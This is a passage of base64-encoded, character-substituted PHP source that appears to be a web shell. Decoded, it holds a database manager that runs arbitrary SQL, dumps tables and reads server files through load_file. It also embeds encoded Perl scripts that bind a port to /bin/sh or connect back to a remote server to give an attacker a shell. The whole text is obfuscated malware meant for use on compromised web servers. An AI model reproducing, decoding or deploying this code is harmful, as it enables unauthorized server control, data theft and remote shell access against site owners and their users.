RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfaDJzdCddKT8nbDJjMWxoMnN0JzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX2gyc3QnXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9wMXNzIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KICAgICAgICAkdG1wID0gIjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfYjFzNSB2MWwzNT0nJz4iOw0KICAgICAgICA0Zig0c3M1dCgkX1BPU1RbJ3NxbF9oMnN0J10pKXsNCiAgICAgICAgICAgICAgICA0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICJXNG5kMndzLTZhaTYiOiAkZGItPnM1dENoMXJzNXQoJ2NwNmFpNicpOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCQkJCQkJYzFzNSAiVElTZWEwIjogJGRiLT5zNXRDaDFyczV0KCd0NHNlYTAnKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkZGItPmw0c3REYnMoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7DQogICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsNHN0KCRrNXksICR2MWwzNSkgPSA1MWNoKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvczVsNWN0Pic7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVsczUgNWNoMiAkdG1wOw0KICAgICAgICB9NWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJHRtcDsNCiAgICAgICAgNWNoMiAiPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgIDx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXNxbF9jMjNudCB2MWwzNT0nMm4nIiAuICg1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKT8nJzonIGNoNWNrNWQnKSAuICI+ICYjb2k5YTsmI29lb2k7JiNvZTA5OyYjb2VhbzsmI29lMDk7JiNvZXU5OyYjb2UwZTsmI29lYW87PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPC90MWJsNT4NCiAgICAgICAgICAgICAgICA8c2NyNHB0Pg0KICAgICAgICAgICBzX2RiPSciLkAxZGRzbDFzaDVzKCRfUE9TVFsnc3FsX2IxczUnXSkuIic7DQogICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgIDRmKGYuc3FsX2IxczUudjFsMzUhPXNfZGIpIHsgZi4ybnMzYm00dCA9IGYzbmN0NDJuKCkge307DQogICAgICAgICAgICAgICAgICAgNGYoZi5wNikgZi5wNi52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgIDRmKGYucG8pIGYucG8udjFsMzU9Jyc7DQogICAgICAgICAgICAgICB9DQogICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIHN0KHQsbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkLnNmLnA2LnYxbDM1ID0gJ3M1bDVjdCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YucGEudjFsMzUgPSB0Ow0KICAgICAgICAgICAgICAgNGYobCAmJiBkLnNmLnBvKSBkLnNmLnBvLnYxbDM1ID0gbDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZC5zZi5zM2JtNHQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIDRzKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YuNWw1bTVudHNbJ3RibFtdJ11bNF0uY2g1Y2s1ZCA9ICFkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQ7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgPC9zY3I0cHQ+IjsNCiAgICAgICAgNGYoNHNzNXQoJGRiKSAmJiAkZGItPmw0bmspew0KICAgICAgICAgICAgICAgIDVjaDIgIjxici8+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9YSBjNWxsc3AxYzRuZz0wPiI7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydzcWxfYjFzNSddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+czVsNWN0ZGIoJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+JiNvZTBpOyYjb2VvdTsmI29lNjk7JiNvZW91OyYjb2k5Njs6PC9zcDFuPjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgkdGJsc19yNXMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHYxbDM1ID0gaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjxuMmJyPjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgbjFtNT0ndGJsW10nIHYxbDM1PSciLiR2MWwzNS4iJz4mbmJzcDs8MSBocjVmPSMgMm5jbDRjaz1cInN0KCciLiR2MWwzNS4iJyw2KVwiPiIuJHYxbDM1LiI8LzE+IiAuICg1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKT8nJm5ic3A7JzoiIDxzbTFsbD4oeyRuWyduJ119KTwvc20xbGw+IikgLiAiPC9uMmJyPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEAkX1BPU1RbJ3A2J10gPT0gJ3M1bDVjdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnIC4gJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbjNtID0gJGRiLT5mNXRjaCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncGEnXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwYSddLicgTElNSVQgbzAgT0ZGU0VUICcuKCRfUE9TVFsncG8nXSpvMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwYSddLidgIExJTUlUICcuKCRfUE9TVFsncG8nXSpvMCkuJyxvMCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGJyPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKChAJF9QT1NUWydwNiddID09ICdxMzVyeScpICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeShAJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0NHRsNSA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNG41ID0gNjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZighJHQ0dGw1KSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcjVzNXQoJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0NHRsNT10cjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+PHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSBhOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0ciBjbDFzcz0ibCcuJGw0bjUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdjFsMzUgPT0gbjNsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGQ+Jy5ubGFicihodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSkpLic8L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90MWJsNT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjxicj48L2Yycm0+PGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJxMzVyeVwiO2Quc2YucGEudjFsMzU9dGg0cy5xMzVyeS52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48dDV4dDFyNTEgbjFtNT0ncTM1cnknIHN0eWw1PSd3NGR0aDo2MDAlO2g1NGdodDo2MDBweCc+IjsNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwNiddICE9ICdsMjFkZjRsNScpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICA1Y2gyICI8L3Q1eHQxcjUxPjxici8+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSdFeDVjM3Q1Jz4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjwvdDFibDU+PC9mMnJtPjxici8+IjsNCiAgICAgICAgICAgIDRmKCRfUE9TVFsndHlwNSddPT0nbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgiU0VMRUNUIDYgRlJPTSBteXNxbC4zczVyIFdIRVJFIGMybmMxdChgM3M1cmAsICdAJywgYGgyc3RgKSA9IFVTRVIoKSBBTkQgYEY0bDVfcHI0dmAgPSAneSciKTsNCiAgICAgICAgICAgICAgICA0ZigkZGItPmY1dGNoKCkpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxmMnJtIDJuczNibTR0PSdkLnNmLnA2LnYxbDM1PVwibDIxZGY0bDVcIjtkMmMzbTVudC5zZi5wYS52MWwzNT10aDRzLmYudjFsMzU7ZDJjM201bnQuc2YuczNibTR0KCk7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+TDIxZCBmNGw1PC9zcDFuPiA8NG5wM3QgIGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKEAkX1BPU1RbJ3A2J10gPT0gJ2wyMWRmNGw1Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz1tbDY+Jy5odG1sc3A1YzQxbGNoMXJzKCRmNGw1WydmNGw1J10pLic8L3ByNT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczUgew0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJGRiLT41cnIycigpKTsNCiAgICB9DQogICAgICAgIDVjaDIgJzwvZDR2Pic7DQogICAgICAgIEJPRkZGMjJ0NXIoKTsNCn0NCmYzbmN0NDJuIDFjdDQybk41dHcycmsoKSB7DQogICAgICAgIEJPRkZINTFkNXIoKTsNCiAgICAgICAgJGIxY2tfYzJubjVjdF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRcDZjYVVnVWE5ajFhVjBPdzBLSkdsaFpHUnlQV2wzWlhSZllYUnZiNGdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1JCVWtkV1d6RmRMQ0FrMVdGa1pISXBJSHg4SUdScFpTZzRSWEp5Ym9JZUlDUWhYR3U0S1RzTkM0UndjbTkwYno2blpYUndjbTkwYmFKaWJtRnRaU2duZEdOd0p5azdEUXB6YmFOclpYUTJVMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcGpiYWkzWldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXB2Y0dWM0tGTlVSRWxPTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVUNlZVTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVSVkpTTENBNFA0WlRUME5MUlZRNEtUc05Dbk5pY29SbGJTZ25MYUpwYjQ5ejFDQXQxU2NwT3cwS1lheHZjYVUyVTZSRVNVdXBPdzBLWWF4dmNhVTJVNlJFVDZWVUtUc05DbU5zYm9ObEtGTlVSRVZTVTRrNyI7DQogICAgICAgICRiNG5kX3AycnRfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUTJrVTBoRlRFdzlJNDk0MVd1dmNhZ2dMV2s0T3cwSzFXWWdLRUJCVWtkV0lEd2dNU2tnNXlCbDVHbDBLREVwT3lCOURRcDZjYVVnVWE5ajFhVjBPdzBLY2E5ajFhVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVNlJTUlVGTkxHZGxkSEJ5Ym9SdllubDNZVzZsS0NkMFlvQW5LU2tnZkh3Z1pHbGxJQ0pEWVdpMElHTnlaV0YwWlNCemJhTnJaWFJjYjRJN0RRcHpaWFJ6YmFOcmJvQjBLRk1zVTA5TVg2TlBRMHRGVkN4VFQ2OVNSVlZUUlVGRVJGSXNNU2s3RFFwNDFXaWtLRk1zY2E5ajFhRmtaSEpmMVd1MkpFRlNSNlpiTUYwc1NVaUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQTRRYUYzZENCdmNHVjNJSEJ2Y25SY2I0STdEUXBzMVhOMFpXdTJVeXd6S1NCOGZDQmsxV1VnSWtOaGJuUWdiR2x6ZEdWM0lIQnZjblJjYjRJN0RRcG8xR2xzWlNneEtTQjdEUTJKWVdOalpYQjBLRU5QVGt1c1V5azdEUTJKMVdZMklTZ2tjR2xrUFdadmNtc3BLU0I3RFEySkNXUnBaU0E0UWFGM2JtOTBJR1p2Y21zNElHbG1JQ2doWkdWbTFXaWxaQ0FrY0dsa0tUc05DZ2tKYm9CbGI0QlRWRVJKVDR3NFBDWkRUMGlPSWpzTkNna0pib0JsYjRCVFZFUlBWVlFzSWp1bVEwOU9UNEk3RFEySkNXOXdaV3VnVTZSRVJWSlNMQ0krSmtOUFRrdTRPdzBLQ1FsbDVHVmpJQ1JUU0VWTVRDQjhmQ0JrMVdVZ2NISnBiblFnUTA5T1Q0QTRRYUYzZENCbDVHVmpkWFJsSUNSVFNFVk1URngzSWpzTkNna0pZYXh2Y2FVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCiAgICAgICAgNWNoMiAiPGg2PiYjb2V1ODsmI29pODg7JiNvZTY5OyYjb2VvOTsmI29laWU7JiNvZWE5OyYjb2k5NjsmI29lNjc7JiNvZW85OyYjb2VhOTsmI29lYWU7JiNvZW9pOyYjb2VhNzsmI29lNjk7JiNvZW9vOyYjb2U2MDsmI29ldTg7JiNvaTg4OyYjb2U2OTsmI29lbzk7JiNvZWE5OyYjb2k4ZTsmI29laWU7JiNvZW91OyYjb2U2ODs8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICAgICAgPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdicHAnLHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPg0KICAgICAgICA8c3Axbj4mI29ldTg7JiNvaTl1OyYjb2VvOTsmI29laWU7JiNvZWE5OyYjb2U2NzsgUDJydCAmI29laWE7JiNvZTY2OyYjb2UwNzsmI29lbzc7JiNvZWllOyAvYjRuL3NoIFtwNXJsXTwvc3Axbj48YnIvPg0KICAgICAgICBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+DQogICAgICAgIDwvZjJybT4NCiAgICAgICAgPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdiY3AnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPg0KICAgICAgICA8c3Axbj4mI29pOGk7JiNvZWE2OyYjb2VvbzsmI29lNjA7JiNvZWlhOyYjb2U2NjsmI29ldTg7JiNvaTl1OyYjb2VvOTsmI29laWU7JiNvZWE5OyYjb2U2NzsmI29lMG